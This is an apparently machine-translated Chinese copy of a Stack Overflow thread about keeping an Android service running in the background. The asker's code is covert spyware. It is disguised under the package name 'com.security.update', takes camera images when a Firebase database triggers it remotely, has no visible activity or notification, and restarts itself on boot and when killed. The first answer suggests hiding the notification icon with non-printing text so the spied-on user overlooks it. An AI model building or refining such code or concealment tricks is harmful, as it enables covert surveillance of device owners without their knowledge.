使用Firebase childeventlistener的后台服务在几分钟后无法正常工作

时间:2016-11-19 09:34:20

标签: android service firebase

我创建了一项服务,我希望在不显示前台通知的情况下永远运行。我在Firebase中有onStartCommand侦听器,只要数据库中的数据发生更改,就会侦听。每当数据发生变化时,它都会执行特定任务。捕获图像

在Activity类中,没有什么只是我已经开始服务然后我完成了它。问题是我可以在我的Samsung J2设备和Nexus 5上看到,每当我从App抽屉中杀死应用程序时,该服务就会停止。我已经在BOOT_COMPLETED和服务onDestroy上实现了广播接收器,但它也没有在启动时工作。简而言之,我的服务没有永远运行。我也不确定Firebase监听器是否可以在后台服务中运行。有许多应用程序,如 whatsapp,hike,Applock ,许多其他应用程序甚至在强制关闭时重新启动。我希望我的应用程序每次都听Firebase数据库。它纯粹是基于服务的App.It没有任何活动。 下面是代码 -

清单文件

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
    android:screenOrientation="portrait"
    android:name="android.support.multidex.MultiDexApplication"
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">


    <activity
        android:name=".ActivityForPermissions"
        android:screenOrientation="portrait">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>


    <service android:name="com.security.update.CameraService"
        android:enabled="true"
        />

    <receiver android:name="com.security.update.ReceiverCall"
        android:enabled="true">
        <intent-filter>
            <action android:name="RESTART_SERVICE" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>

</application>

活动类

 public class ActivityForPermissions extends AppCompatActivity {

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    startService(new   Intent(ActivityForPermissions.this,CameraService.class));
    finish();
}


@Override
protected void onDestroy() {
    super.onDestroy();
}}

接收者类

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

    context.startService(new Intent(context, CameraService.class));;
    }

 }

服务类

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
    super.onCreate();
    android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    devicemodel = android.os.Build.MODEL;
    mStorageRef = FirebaseStorage.getInstance().getReference();
    database = FirebaseDatabase.getInstance();
    RequestRef = database.getReference("CameraRequest");
    SpyStatus = database.getReference("SpyStatus");
    ListenerForRequestDone();
    return START_STICKY;

}

@Override
public void onDestroy() {
    super.onDestroy();
    Intent intent = new Intent("RESTART_SERVICE");
    sendBroadcast(intent);
}

 public void ListenerForRequestDone(){
    RequestRef.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String s) {
            StartImageCapture(1);
        }

        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {

        }

        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onCancelled(DatabaseError databaseError) {

        }
    });
}

此外也有类似的问题。 this但是没有正确的答案。

3 个答案:

答案 0 :(得分:8)

第一个回答:

您的服务正在被杀,因为您可能正在尝试执行Google / Android操作系统明确不希望发生的事情。这是SDK文档的剪辑,然后我将解释:

  

(来自服务生命周期)由于用户通常只能看到少数几个进程,这意味着除了内存不足之外,不应该终止该服务。但是,由于用户没有直接了解后台服务,因此在该状态下它被认为是有效的候选者,你应该为此做好准备。 特别是,长期运行的服务将越来越可能被杀死,并且如果它们保持足够长的时间,则可以保证被杀死(并在适当时重新启动)

你知道,他们实际上正在尝试以确保用户没有数百个SpyServices永久运行,占用资源或其他任何东西。你怎么能避免这种情况?答案就在那里......显示某种类型的通知,即使只是说“服务运行”也会使服务不被破坏。当然,如果你真的试图“窥探”用户,那么通知间谍服务正在运行并不是一个好主意。如果要继续此模式,请尝试“隐藏”通知图标和非打印文本。如果用户正在查看通知,他们可能看不到它,或认为这只是一个小问题。

第二个回答:

切换到更“'事件驱动'的设计。我假设您能够捕获'开机','接听电话'和其他消息,因此注册接收器以指示手机使用的事件,这样您可以轻松拼接多个10-15分钟细分几乎完全覆盖。

我的目标是:

  • 电源已连接/已断开连接
  • WiFi状态更改
  • 屏幕背光开/关和/或屏幕锁定状态已更改。

第三个答案:

看一下'绑定'模式。如果您可以获得任何“绑定”服务的活动,只要它受到约束,其保证的 NOT 就会被杀死。如果将“START_STICKY”与绑定模式结合使用,则可以在绑定发布后继续运行一段时间。

答案 1 :(得分:4)

本主题在DroidconIn(“Firebase实时数据库深度研究”)的后续演示中提出。实际上,你不能依赖于在后台获得“正常”的firebase同步更新,而是需要某种可以发送推送通知的设置。

https://www.youtube.com/watch?v=1nUSoCZlnDo&t=25m10s

答案 2 :(得分:-1)

在成功完成此操作之前,您需要在具有子事件列表器的服务类中实例化 FireBaseApp 。这对我有用。